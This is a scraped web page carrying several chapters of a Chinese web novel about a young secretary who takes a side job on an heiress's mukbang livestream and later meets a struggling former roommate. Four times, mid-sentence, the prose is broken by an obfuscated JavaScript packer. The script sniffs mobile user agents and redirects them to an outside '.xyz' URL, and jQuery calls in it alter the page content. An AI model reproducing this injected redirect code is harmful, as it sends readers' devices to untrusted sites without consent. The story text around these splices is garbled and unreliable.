这栋建筑充满了人力仿造不出的岁月的味道,应该也是民国时期的老建筑。内部就不知道是什么时候翻修的了,半新不古,整体是冷色调的奢华优雅。 姜与荷跟在吴秘书身后慢慢穿过走廊,经过了一间间办公室。吴秘书停下脚步,指着走廊尽头正对他们的房间转头说道:“这是裴先生的办公室,没有他的允许不要随意进入。” 这个房间房门紧闭,两扇厚重的木质雕花大门透着温润的光泽。 “嗯嗯,我记住了。”姜与荷忙不迭点头。 随即他走进了紧挨着的右手边的房间:“这就是我们的办公室。” 这个房间很大,在姜与荷以前的公司,这面积可以塞二十个人的工位。她来之前,这办公室就吴秘书一人吗?会不会觉得特别大,特别空旷…… 现在这里只摆了两张办公桌,分踞房间的两边,中间还有装饰性的屏风隔开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486743|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 增加了一点隐私性。这就是我以后的办公环境?这也太爽了吧……姜与荷有点不敢置信。 偷偷瞄了瞄吴秘书的脸色,她怕因为自己的到来分走了他的独立办公室而使他不快。但见他神色如常,面上甚至还带着点微笑:“我马上要出去,办公用品都在你的桌上。基础工作张秘书会交代给你,你今天先了解一下。” 他离开之后,姜与荷看着这偌大的办公室,瞬间生出了一种要好好工作的豪情壮志。 马儿为什么跑得慢?那肯定是草没给够啊! 她整理了一会办公桌,张秘书就过来了。她是一位约莫三四十岁的女性,穿着剪裁利落的修身套裙,妆容发型一丝不苟,脸上架着一副无框眼镜。 她看起来太像高中的教导主任了,姜与条件反射地荷赶忙站起来和她打招呼。 不过这位女士并没有看上去的那么严肃,她笑了笑说:“坐吧,我就是来让你熟悉一下工作。” 根据她的介绍,姜与荷大概了解了自己要工作的部门。她被划到了秘书部,吴秘书属于秘书长,是裴先生的副手,这位张秘书是吴秘书的副手。 这个部门事务很繁杂,从上到下都有事情要管。姜与荷刚来,又在吴秘书的办公室里,就先负责裴先生的日程安排,闲暇时整理档案,其余工作听吴秘书吩咐。 跟着张秘书到了档案室,确认了工作要求后姜与荷就开始一个人整理档案。她从口袋里掏出无线耳机,掏出手机放了个视频后开始边听边干活。 不用和同事扯皮、不用找领导签字、不用跨部门交涉、不用担心自己被甩锅,简简单单干活就好了。其他的工作看起来也只需要和吴秘书对接,没有一层层的领导。 她好爱自己的工作! 这里的下班时间是6点,而直到下班都没有见到裴慎如和吴秘书的身影。到点之后陆续有人收拾东西下班,也有人依旧在工作,反正没人来管她。 准点下班的姜与荷站在玫瑰园前回望大楼,这一瞬间她好想甩自己两巴掌,为什么不早点来! 让你装! 她转身迈着欢快的步伐走向地铁站,边走边做梦,要是每一天都像这样就好啦~ 这次老天好像特别照顾她,让她梦想成真了,一连几天都没见到裴慎如和吴秘书俩人出现,她很是过了几天神仙日子。 顶头上司和大老板看起来都忙得飞起,办公室都没空回,她还真就呆在了无人在意的角落了? 最近简直运气爆棚,她决定下班去买张彩票。 这日子滋润到她都有点不好意思了,所以她基本一天都泡在档案室里干活,今天还殷勤地打扫了下屋子。干完感觉自己颈椎病都要犯了,她就回了办公室躺在办公椅上开了两把游戏。 这椅子不知道是什么牌子,怎么坐都舒服,连腰靠都不需要了。她躺得美滋滋,游戏也越打手感越好,对方水晶终于爆炸的时候她抬头想舒缓一下眼睛,就看到门口站着久违的裴慎如,以及她的顶头上司吴秘书,也不知道是什么时候来的。 干活的时候没人看见,刚开始摸鱼就被领导抓住,这是什么职场玄学啊! 19. 吃播 姜与荷蹭地一下站起,她面色平静,脑中却飞速旋转,想找出一个挽回局面的办法。 她想抓住时机狡辩两句,但又怕自己说的话太蠢,只能起到反效果。 正冥思苦想着,裴慎如倒先开口:“这里的工作应该能符合你的要求。” 我?我的要求? 完了,这是在嘲讽我吗? 这是什么噩梦,上班第一天就被领导看穿了咸鱼本质? 姜与荷不知该如何作答,只能硬着头皮敷衍:“能在这里工作是我的荣幸,我会好好和吴秘书学习的。” 还好裴慎如没再多说什么,点了点头就转身走向了他的办公室。 身后的随行人员为他拉开那扇厚重的雕花木门,待他们一行人进去后又紧紧关上。 没注意到他们俩身后还跟着这么多人……因为办公室没人,她打游戏还是外放的声音,姜与荷疯狂祈祷刚才他们只是路过正好看了一眼,千万别是一堆人在门口围观她打游戏啊! 吴秘书留了下来,笑眯眯地和一脸晦气的姜与荷说:“裴先生刚刚才回来,也算碰巧和你打过招呼了。接下来几天他基本都在这里,有一些工作要分配给你。” “什么工作?” “与人应酬的工作。” 应酬?我吗?姜与荷瞪大眼睛,一脸呆滞地指了指自己。 她没说话,但是一切尽在不言中。吴秘书也没说话,依然保持微笑。 既然组织这么信任她,那她也只能硬着头皮上了。谁主张谁负责哦,反正她不负责。 很快,姜与荷就知道了她的“应酬”对象。 不得不说,这份工作也没有她想象的那么难熬,甚至还能算福利,因为她的工作内容是——陪白富美们吃吃点心聊聊天。 裴慎如回来后自然访客不断,其中就夹杂了许多各种“集团”“公司”的大小姐们,都是面容姣好、衣着考究,浑身上下都透露着优雅与自信。 她们中有些可以进入裴慎如的办公室洽谈,有些并未被正式安排在裴慎如的日程上,这时候就需要姜与荷出场委婉回绝。 好在吴秘书事先教过她话术,大小姐们也都通情达理,得到解释后大都表示理解,然后微笑道别。 其实这就是一场双方都心知肚明的敷衍,只是上流社会总少不了这类逢场作戏,左不过为了“体面”二字。 每次她们来,接待室里都会准备好昂贵而美味的点心和茶水,都是姜与荷平时舍不得买的那种。她们也基本只喝两口茶或者咖啡,剩下那些食物就都归了姜与荷。 她本来想跟接待处的姑娘们分一分,但看她们也都是气质高雅,从脸上就能看得到成长环境的优越,又怕人家介意这些是别人“吃剩”的,所以只能自己含泪消灭了,吃不完还能带回家。 要是小碗也在就好了,她们可以一起开开心心地瓜分掉。 她不是不能察觉出大小姐们礼貌友好之下隐藏的高高在上,但她并不在意。 本来自己连和她们坐在一起喝咖啡的机会都不可能有,现在却能带薪揩油。不管人家心里怎么想,面上对她也都是客客气气的,还有什么好计较的呢? 不过一个群体里总会有那么一两个异类,比如鸿信地产的大小姐王娇娇。 这位大小姐长得应该不太符合她父母的期待,当然不是说她不美——她人高腿长,面容大气美艳,是很飒沓利落的美,一点也不娇柔。行事也大胆直接,来拜访的频率属于第一梯队。 她来的时候裴慎如有时候在外面,有时候不见客,总是不大巧。 她每次被婉拒也不生气,干脆地转身走人,绝不多问;也不气馁,没过几天又会过来,反正她闲着也是闲着。 姜与荷还挺喜欢和她一起聊天,因为她讲话太好玩了。其他有礼又疏离的大小姐们一般跟她说不过五句话,这位王娇娇小姐却很是健谈,她见识又广,还知道不少上流社会的八卦,总是能和她东拉西扯地侃半天。 据王大小姐说,她家是纯血东北人,来海城还不到十年,从她一不小心就冒出大碴子味的口音里姜与荷确认了这一点。 她还说她想跟裴先生谈生意,要是顺带能谈上恋爱那最好,要是谈不上,能弄点投资也好啊。 姜与荷好奇地问:“你家里这么有钱,还需要去外面拉投资吗?” 王娇娇翻了个白眼:“家里有钱有什么用,不肯给我那就是个屁。给我的那仨瓜俩枣够干啥的?买包买衣服?他们就希望我找个牛逼的男人,好拉扯我那个废物弟弟。” 听见“弟弟”,姜与荷也不知道该说啥好,这又让她想起了远走的小碗。山村姑娘和地产大小姐,隔了这么远,也都甩不开命运的触手。 小碗目前算是逃开了,这位大小姐呢? “废物就是废物,公司给了他早晚破产!”王娇娇提起这事就愤愤不平,心情肉眼可见地变得极差。 她眉头紧皱,脸色不耐烦起来,起身准备走人。 她今天背了一只Chanel的限量款徽章2.55,很配她身上的牛仔粗花呢连衣裙,来的时候她还特意给姜与荷看她早上刚买的包包是不是很可爱。 现在她却对这只包包怎么看怎么不顺眼:“丑死了,这一堆乱七八糟的,我怎么会看上的?” 她把包包往姜与荷身边一甩:“你替我处理掉吧。” 姜与荷震惊:“你早上刚买的,这就要扔了啊?” 王娇娇不以为意:“不喜欢了还留着干嘛?” “那多可惜呀……” “那你自己留着背。” “我又没有什么用得上的场合……干放着也浪费。”姜与荷皱眉作苦恼状。 “那你卖掉啊,二手店认识吗?” “认识认识……等卖掉了我把钱转给你?” 王娇娇一脸“不要侮辱我”的表情:“随便你干嘛,就是不要给我!” 这可是你自己不要的哦…… “捡了别人不要的垃圾送去卖钱”,怎么看都没什么问题啊~姜与荷的嘴角都要压不下了。 避免浪费,人人有责! 拿人手短,她今天格外殷勤地把人送到了大厅门口。目送王大小姐远去的背影,她拼命给自己洗脑。 你的老板是裴慎如,你的老板是裴慎如……不要行差踏错啊! 不过在某次吴秘书在办公室的时候,她还是没忍住提了一嘴:“鸿信地产的王小姐又来预约了,裴先生还是不见吗?” “没什么必要,鸿信地产前途并不明朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486744|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王小姐对于公司也没什么话语权。” 原来如此…… 不过姜与荷还有一个疑问:“她们不能去什么宴会上和裴先生碰面吗,来这里等着多麻烦。” 华丽的宴会厅,衣香鬓影,觥筹交错,拿着一杯香槟能认识一圈人,她看电视里都是这样演的。 吴秘书扶了扶眼镜:“裴先生不喜欢参加无意义的社交。” 这可怎么办……总不能让她埋伏在路边等裴慎如吧?他身边还总是跟着一大堆人,估计没等近身就被保镖扭送派出所了。 她自己向裴慎如进言,劝他见王娇娇一面? 绝无这种可能。她们之间,还不是这种能赌上人生的关系…… 看来看去,王大小姐的算盘是要落空了……还是劝劝她另谋出路吧,在这死磕也是打水漂。 等王娇娇再次到来的时候,姜与荷还踌躇着该怎么劝她。没想到还没等她开口,这位大小姐自己就说:“我想通了,在这等多久都是浪费时间。” “对呀对呀。”姜与荷点头赞同。 “想干就干,等真缺钱了再说。” “嗯嗯加油!”姜与荷表示欣慰。 “你跟我一起吧!” “好……啊?!”姜与荷受到了惊吓。 “我有工作的啊!”她可不要捡了芝麻丢了西瓜。 王娇娇翻了个白眼:“又没让你辞职,你晚上兼职呗。” “我晚上想休息……” “一次一千保底。” “……你准备干什么?” “吃播。” “!?” 面对一脸淡定的地产龙头家的大小姐,姜与荷真的困惑了:“你不会觉得这样不太……体面吗?不怕你爸妈反对?” 王娇娇一脸的嘲讽:“什么体面不体面的,我小时候还跟着我爹妈摆地摊呢,整天地躲着城管,跟耗子似的。” “有钱人干的不体面的事海了去了,但就喜欢忽悠别人体面,最好体体面面地穷一辈子。” 这么直白地说出来真的好吗,你也是“有钱人”哎…… 姜与荷心中赞同,面上却不好说什么,只能努力转移话题:“现在做自媒体确实不错啊,投入少,风险小。” “可不就是风险小吗,你不知道房地产的负债率多吓人,资金链那个压力……”王娇娇毫不遮掩地跟她大吐苦水。 不是,这能随便跟人说吗?算不算商业机密啊? 清醒一点啊我的大小姐! 姜与荷拼命截住她的话头:“你组个团队应该很简单啊,怎么想到拉我去?” “你不是喜欢吃吗?我看那些点心每次都被你吃了啊。”王娇娇微微皱眉,歪头看她,好像她问了个很愚蠢的问题。 “什么每次……偶尔!我那是、帮忙……”姜与荷有种被突然戳穿的羞恼感,语无伦次起来。 “你来不来吧?” “不来!被老板发现了怎么办!” 王娇娇不以为意:“你又不是公务员,还管这个?” 姜与荷一脸严肃:“裴先生不喜欢无意义的社交。” “我第一期准备做皇帝蟹,澳洲当天空运的,你真不来?” “……我去请示下领导。” 20. 抽身 做人,一定要知道轻重。 万一她跟着来拜访的大小姐干兼职的事情被知道了,裴慎如觉得她脑子拎不清,把她开了可怎么办? 王娇娇的邀请固然诱人,但是稳定高薪的工作才更要紧。 所以姜与荷瞅准机会暗搓搓地咨询自己的顶头上司:“吴秘书,我们公司对于员工下班时间的活动,有什么规定吗?” 吴秘书难得地愣了一愣:“……合法?” 感觉他没有理解自己的意思,姜与荷不得不再次解释:“兼职也可以吗?” 也许是第一次被问到这种问题,吴秘书沉默了几秒,然后对她说:“可以。” “随便去哪都可以吗?” “是的。”吴秘书已经适应良好。 Yes! 得到了口头许可,她心里的一块大石落下,下班后就开始准备给王大小姐打工。 王大小姐准备在观声旗下的短视频平台——灵点,开启自己的自媒体事业。灵点目前是国内最大的短视频直播平台,也是目前观声的主要盈利来源,养着其他许多还未创造利润的模块,比如姜与荷曾经接触过的星云视频。 王娇娇前期已经请人养过号了,工作室也已经布置好,一切就绪,随时可以开始直播。她的团队已经算是成熟完备,所以姜与荷不太懂为什么还要拉自己过来。 她虽然曾经在观声工作,但并没有接触过灵点的业务,现在她又已经辞职,唯二认识的人也在其他部门,并不能帮上王娇娇什么忙,她都不知道自己是来干嘛的。 当她提出疑问时,王娇娇认真地看着她:“你吃东西的时候,能让人感觉很幸福、很有食欲。” “……吃播不是你吗?!”姜与荷大惊失色,有种不好的预感。 “是我是我,但是现在流行助播,懂吗?” “什么意思?” “就是有一个人在主播边上一起吃,烘托气氛。” “难道我也要出镜?”姜与荷有点抗拒,她并不喜欢被人关注,脑子里已经开始反问自己,一千块值得这么干吗? 王娇娇循循善诱:“主要是我出镜啦,你坐在我后面吃东西就行了,不用说话,也不用跟观众互动。我们第一次直播,不会有多少人来看的。” 姜与荷还是不太情愿,她打算狠狠心,拒绝金钱的诱惑。 王娇娇却像有读心术似的:“除了保底,直播还有提成可以一起分,这可是大头。” 她眨眨眼:“你出镜的,多分一点。” ……好吧,拒绝失败。 没想到王娇娇这里居然还有造型团队,给姜与荷化了妆,还换了条和王娇娇搭配的裙子。 专业的化妆师就是不一样,姜与荷第一次觉得自己还真的挺漂亮。 今天的主角是早上刚空运到的澳洲皇帝蟹,一只就十五斤出头,接近半米宽,外壳鲜红,米白色的蟹腿上也覆盖着红色花纹。 姜与荷从没见过这么大、这么漂亮的螃蟹,感觉一根蟹腿就能吃饱。其实她一开始以为王娇娇说的是帝王蟹,没想到世界上还有种皇帝蟹。 皇帝蟹腿上的小绒毛很扎人,王娇娇戴着专用的手套在镜头前全方位展示这个大螃蟹。也许是个头太大,这只皇帝蟹看着呆呆的,行动迟缓,毫无自己快要上桌的意识。 这次的噱头找得很成功,直播间里弹幕和评论区已经刷屏。姜与荷都看不清他们在说什么,倒是减少了很多心理压力,她现在就专心盯着那只大螃蟹。 她吃过大闸蟹,也在宴席上吃过海蟹,总体来说湖蟹蟹黄鲜美,海蟹个大肉多,各有所长。 这么巨型的海蟹,肉质会不会很老啊? 不管怎么说,蒸一下就知道了吧。 好在王娇娇没让她等太久,很快有人拿去清蒸了。姜与荷都替人发愁,这么大的螃蟹,得多大的锅啊? 她也是真的佩服这位大小姐,不仅眼神好,看得清那疯狂滚动的评论,还能丝滑接梗,跟人聊得热火朝天的,等螃蟹蒸好的时间里也绝不让直播间有一秒的冷场。 不得不说她俩这搭配还真挺合适,一个是镜头前侃侃而谈的开朗风趣美艳御姐,一个是坐后面笑意盈盈的安静懵懂温婉美人,极具反差感和故事性。加上有专业团队在背后运营,王娇娇这个直播间现在人气已经很不错。 皇帝蟹终于端上来了,厨师已经把绒毛都处理掉,关节处也都开好,让大小姐吃得方便。螃蟹刚进屋,姜与荷就已经闻到那股特殊的香味了,裹挟着咸咸的海风扑到她的脸上。 一下子她就饿了,下了班就过来,她还没吃晚饭呢……但是在镜头前,她提醒自己千万要继续保持温柔可亲的哑巴形象,smile、smile、smile~ 好在王娇娇对着镜头介绍了一下,就分了一半给她让她先吃。姜与荷开心坏了,接过来就埋头开吃,顺带听听大小姐对着屏幕游刃有余地谈笑风生,颇有种酒席上看大人喝酒聊天的feel。 她的吃相很香,也很可爱,从小没少因为这个挨夸。 皇帝蟹的腿实在太大了,她一勺就挖出了满满当当的肉,塞进嘴里占满了口腔。她脸颊微鼓,抿着小巧丰满的嘴唇咀嚼,像一只啃榛子的小松鼠。 太幸福了~丝理分明的蟹肉饱满爽滑,因为足够新鲜而毫无腥味,反而有点淡淡的甜。吃在嘴里越嚼越香,是一种极其霸道独特的肉香,从她的口中发散到五脏六腑。 蟹身又是另一种风味,蟹黄浓郁鲜醇,周边的肉入口即化,她一边吃一边在内心痛哭。 这么好吃的东西为什么这么贵,一只空运过来得一万多,她自己怎么舍得买? 此等美味,她此生再难得见了…… 王娇娇主要负责聊天和介绍,吃东西在精不在多;姜与荷主要负责吃,吃得很快吃相也好,能勾起人的食欲又不粗鲁,俩人也算配合默契,一场直播下来收到了不少礼物。 姜与荷凌晨一点才到家,看着手机里收到的三千块转账,这是她今晚的分成。 王娇娇说直播间刚起步,各方面支出不少,没法分太多。不过今天直播运气不错,观众送礼物出奇的大方,所以分她三千块,聊表心意。 只需要对着镜头吃昂贵美味的食材,就能一晚挣到四千块……她现在很能理解为什么大家都想往直播赛道挤了,财帛动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486745|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心啊…… 不过她虽然心动,但还是没有动到真的想跟着王娇娇干的意思。一顿饱和顿顿饱,她还是懂的。 但她没想到直播的效果居然能那么好。 第二天上班,中午吃饭时候她刷了刷手机,竟然刷到了昨晚直播的切片。看着自己在视频里吃东西的样子,一股说不清道不明的羞耻感瞬间袭来。 她像是做贼一样,不自觉地迅速收起手机,瞬间没了食欲。 她从小就是不爱上镜的人,连照片都没有多少,基本都是和别人的合照。她总觉得镜头里的自己很奇怪,很僵硬,总是不爱看有自己的照片,更别说视频了。 这次陡然刷到自己的视频切片,虽然只是埋头吃东西,偶尔瞟一眼镜头,仍然让她觉得极其尴尬。 她只觉自己脸上火辣辣的,不知道是不是红了。她开始四处偷瞄,要是被同事们刷到了可怎么办?她会变成别人茶余饭后的八卦吗? 可能是王娇娇团队运营得好,昨晚那场直播看起来热度还挺高的。皇帝蟹这种昂贵食材很少有人会拍,她们的吃播路线又别具一格,在这条赛道算是抢到了一个开门红。 无论是皇帝蟹、王娇娇还是姜与荷,都有人单独截出来讨论,甚至已经有开始八王娇娇身家背景的了。 王家作为地产龙头,被八出来是分分钟的事。 那她呢?她是一个普普通通的小老百姓,就代表她是安全的吗? 虽然她的生活淡如白水,但仍然害怕被人探究私隐。 不行,这个钱她还是挣不了,得找个机会跟王娇娇说一下。 虽然没签合同,但她还是觉得有点不好意思。在别人那又吃又拿的,刚有点起色就要跑路,听起来好像不太道德? 姜与荷纠结了两天,打了好几次腹稿,终于支支吾吾地跟王娇娇表示以后不想再出镜。 本以为会有好一番拉扯,她都脑内排练了好几次了,结果没想到王娇娇爽快地答应了:“没事,不喜欢不用勉强。” 姜与荷实在有点惊讶:“对你不会有什么影响吗……” 王娇娇大手一挥:“没事的,我还得谢谢你呢,第一次直播效果这么好,已经有投资人跟我联系了。” “你不喜欢的事干起来也不会开心的,助播我可以再找,肯花钱总找得到的。”王大小姐估计收到了很大一笔投资款,言语间颇有种财大气粗的松弛感。 “真的不好意思,我做事前没考虑清楚,给你添麻烦了……”姜与荷还是感到非常抱歉。 “嗨,别多想了,你就是来给我帮个忙,我又没跟你签劳务合同,咱俩没啥纠纷啊。”王娇娇大手一挥,很是潇洒。 “嗯,那我以后就不来了。” “别啊,继续来帮我嘛,我这刚起步,哪哪都缺人呢,你可以给我做做策划。上班时间也宽松,你下班空了就来,有事就跟我说一声,待遇方面不会亏待你的。” 这么认可我的工作能力吗……姜与荷感动得泪眼汪汪。 什么叫选择大于努力啊~抱对了大腿,人生处处都是阳光。 感谢裴慎如,她觉得自己的霉运马上就要结束了。 21. 舍友 不得不说下班后为王大小姐打杂的生活还是挺爽的,她走的是高端稀缺食材路线,姜与荷跟着她真算是开了眼了,每次还能美美蹭一顿。 而且王娇娇自从开始吃播后也不再来裴慎如这里拜访,拿到投资后开始搞什么MCN公司了,这又让她松了一口气。 胃里暖暖,钱包鼓鼓,上班还不怎么见到领导,姜与荷不禁感叹,人生从未如此美好~ 这些天两头上班也是挺辛苦的,既然挣了不少外快,她打算今天下班去美美吃一顿奖励自己的上进。跟王娇娇说了一声,她就开始刷手机选餐厅。 她在裴慎如这里并没有交到可以私下约饭的朋友,一是她办公室总是只有她一个人,没什么和别人接触的机会;二是那里本就不是属于她的圈子。 呆了一段时间,她也只是隐约了解了一点自己上班的地方。 裴家经过世代传承,已经习惯隐于幕后,通过隐蔽的方式掌握着国内许多巨头企业的重要股份。具体事务都有专人负责打理,但某些时候也需要裴慎如视察决策,比如观声那次在紫庭的会议。 所以她目前上班的地点不是具体的某一家公司,而是类似于裴家在国内的总部。 这里的每一间办公室,都可能决定一家大公司的未来。 怪不得周英然说裴先生身边的工作人人抢破头…… 在这里工作的人,无论是学历、资历还是出身背景,都和姜与荷不在一个世界。 不属于自己的圈子不要硬融,她很知趣地不去打扰别人,努力降低自己的存在感,当一个安静老实的打杂员,每天办好吴秘书交代她的工作。 有人来找她,她开开心心;没人搭理她,她自娱自乐。 做人,就是得想开点。 她努力思考了半天,好像就周英然可以约,但是看她朋友圈正疯狂加班赶项目,估计吃工作餐都没时间,看来只能自己一个人去了。 要是小碗在就好了,她们可以一起选地方,两个人吃还能多点些菜,可惜她们已经天各一方。 姜与荷考虑了一下,打算凑个假期去找她玩。 刷了半天手机,鉴于自己只有一个人,她决定去吃元和大厦新开的那家高端烧烤。她倒要看看烧烤能有多高端,听说虽然价格很高,但还是从开业火爆至今,难道是真的非常好吃? 这里上班不需要打卡,做好该做的事就可以。所以她今天飞速忙完手头上的事后提前下了班,满怀期待地奔向元和大厦。 却没想到会在地铁站碰见了一个人。 她大学时候的舍友。 “那位”舍友。 元和大厦的地铁站台很大,加上人流密集,大家都行色匆匆,即使是熟人也容易擦身而过。 姜与荷会认出她,是因为她当时牵着一个约莫两岁的小男孩,正在站台的大厅里大声呵斥他。 她周边围观的人很少,但是看她的人很多。她却毫不在意,只顾冲小孩发火。 随意夹起的头发略显毛躁,因为她激动的情绪还掉落了几缕,紧紧贴在她发皱的脸上。 姜与荷也被这动静吸引多看了两眼,也是这两眼让她发现,那个面色疲惫、凶悍粗鲁的女人,竟然是她大学的舍友。 她记得大学时候,那位舍友是一个爽朗勤快的人,虽然囊中羞涩,但总把自己收拾得干净利索,衣服板板正正。 绝不应该是现在这种潦草邋遢的样子。 她面对这位舍友,依然有点淡淡的愧疚,所以虽然极其不愿被人注视,她还是硬着头皮上前打断了女人的斥骂:“好久不见呀……今天可真巧。” 舍友转过头,带着红血丝的眼球看了她几秒,才扯开了嘴角和她打招呼:“小荷?” “你还跟大学时候一样呢……真好。” 毕业三四年,姜与荷虽然一直是个社畜,但家里也没有给她什么压力。她又是个特别想得开的性子,心里从不压事,是以面貌和读书时候相差无几。 更别说最近她自觉时来运转,正是春风得意,稍微收拾一下就看着精神满满,可以伪装一下活力大学生。 姜与荷听罢只是讪讪一笑。 看着舍友生活得不甚如意,她却有种没来由的心虚,仿佛自己过得比她好是不应该的事。 她是那么努力、那么积极的人啊,为什么没能有一个美好的人生呢? “这么久没见了,一起吃个饭吧?”姜与荷是真的想好好请她吃一顿。 舍友没有答话,面色踌躇。 姜与荷马上会意:“去吧去吧,我今天刚发了奖金呢,本来要请我朋友的,结果她放我鸽子了,我定的店又不能退。没想到这么巧碰到了你们,一起吃呀,我一个人去也是浪费。” 舍友牵着的小男孩可怜巴巴地看着妈妈,她最终还是答应了。 考虑到小孩子,姜与荷最终带她们去的是一家人均一千多的西餐厅,在元和大厦里不算什么,但对于姜与荷来说已经是需要狠狠心才能进去的地方。 如果不是为了好好招待舍友,她绝不会来的。 侍者引她们落座后便拿来菜单,舍友看到价格后显得有些坐立不安,劝姜与荷换一家,这里实在太贵了。 姜与荷其实也觉得价格辣手,但是来都来了:“没事的,我已经充钱了,不花掉也拿不出来,你喜欢就点。” 这家餐厅确实是可以充值的,她没说错。侍者面对这位第一次见到的客人,自然选择沉默不言。 也不知道舍友信没信,她很谨慎地点了一个凯撒沙拉就把菜单还给了侍者。 姜与荷也不懂什么前菜主菜的,给小朋友点了个黑松露奶油烩饭,再点了香煎鹅肝、香草羊排、墨鱼汁面、鳌虾浓汤,餐后甜品是树莓蛋糕和椰香舒芙蕾。她们不喝酒,所以点了一杯热可可和一杯牛油果奶昔。 舍友一直在推拒:“小荷,点太多了,我们吃不完的,剩下的钱你可以留着下次再来啊。” “来都来了,这已经少点了,要是按他们菜单上这流程,我们还欠两个菜呢。” 姜与荷潇洒地合上菜单,递回给了侍者。 侍者走后她们开始闲聊。舍友当年毕业后就回老家结婚生子了,而姜与荷一直在海城。这几年她们也就是朋友圈里的点赞之交,还基本都是舍友给她点赞。 姜与荷偶尔还会拍点照片发发朋友圈,舍友却只有结婚那天发了一张结婚证的照片,此后就再无声音。 就连结婚,舍友也没有请宿舍里其他人去。姜与荷微信上给她转了个红包,祝她新婚快乐。 隔了一天,舍友领了红包,和她道了谢。 这就是她们最近的一次聊天。 姜与荷有点好奇:“你这次怎么来海城了?” 舍友拉扯着嘴角,露出一个很难看的笑容:“我弟弟在这里上班,爸妈也跟着过来了,我来看看他们。” 可她当年放弃大城市的offer选择回偏远的老家,就是因为父母一定要她回去,有个照应啊…… 姜与荷不知道该不该接这个话茬,今天没见她老公一起来,感觉也不是个合适的话题,只能往小朋友身上扯:“你的宝宝多大了呀,以前也从没见你发过。” “他三岁半了,叫耀耀。”舍友垂眸看向他,面色松弛了一点。 姜与荷很是惊讶:“这么大啦?!” 这个小男孩黑黑瘦瘦,看人也是怯生生的,两岁还是她往大里猜的,没想到居然已经三岁半了。 “我怀孕时吃得不好,”舍友伸手轻抚他的额发,“他出生时就轻,我还没什么奶水,想尽了办法才托人去镇上超市买了奶粉。” 你老公死了吗? 姜与荷想了想,还是换了个委婉的说法:“其他人……帮不上忙吗?” “我婆婆嫌奶粉贵,往面粉里掺了玉米面,打成糊糊装进奶瓶里要给他喝,说她们都是这么喝的。”舍友说话的时候脸色很平静,带着一种习惯后的麻木。 这时候菜上来了,她开始张罗耀耀吃饭。姜与荷也不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486746|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂这么大的孩子什么能吃什么不能吃,只能每上一道菜就问一下舍友,要是耀耀可以吃,就分一些出来给他。 耀耀是个很怕生也很有礼貌的小孩子,没有这个年纪的小男孩普遍会有的调皮和吵闹,只是安安静静地坐在一边听她们说话,用好奇的大眼睛四处打量。 菜上来后他也吃得很乖,都不需要人喂,自己就拿着勺子大口吃着,还一点都不挑食。姜与荷没想到他这么喜欢这里的菜,自己也觉得高兴。 今天的钱还是花得很值的,至少宝宝吃得很开心啊。 舍友嗔怪道:“他平时根本吃不到这么好的菜,今天出来像没吃过饭一样。” 姜与荷没接茬,只是问:“你婆婆这样,那耀耀怎么带啊?请保姆吗?” “我就是保姆,哪还用再请保姆。”舍友自嘲一笑。 “……你一直没上班?!”姜与荷瞪大了眼。 舍友当年的成绩名列前茅,还拿过优秀毕业生。她们的学校算不上出名,但也是正儿八经的985,结果她毕业后一直呆在偏远的老家看孩子? “我们这个专业,小地方根本没有对口的工作。我毕业前又已经怀孕了……” 是了,她们毕业满打满算四年,耀耀三岁半,那她大四就…… 姜与荷实在是忍不住了:“你脑子坏了吗?!” 舍友的神情有点无措:“我也不想的……” 姜与荷想了想:“是你大四回老家的时候吗?半个学期都没见你人。” “我爸妈非要我回去,没想到回去就是相亲,他们彩礼都收了……” “你没长腿吗?不会跑啊?” 舍友的眼睛里已经有水快要漫出来:“可是我妈跪下求我……38万的彩礼,我家里还不起的……” 姜与荷却不客气:“那38万你爸妈花哪去了?你摸到一分了吗?” 舍友沉默了。 “你弟弟能来海城,是不是都靠你那38万?” 舍友仍旧低头不语,只有耀耀不懂这些,开开心心地吃着自己碗里的饭,还指着鹅肝跟舍友说要吃。 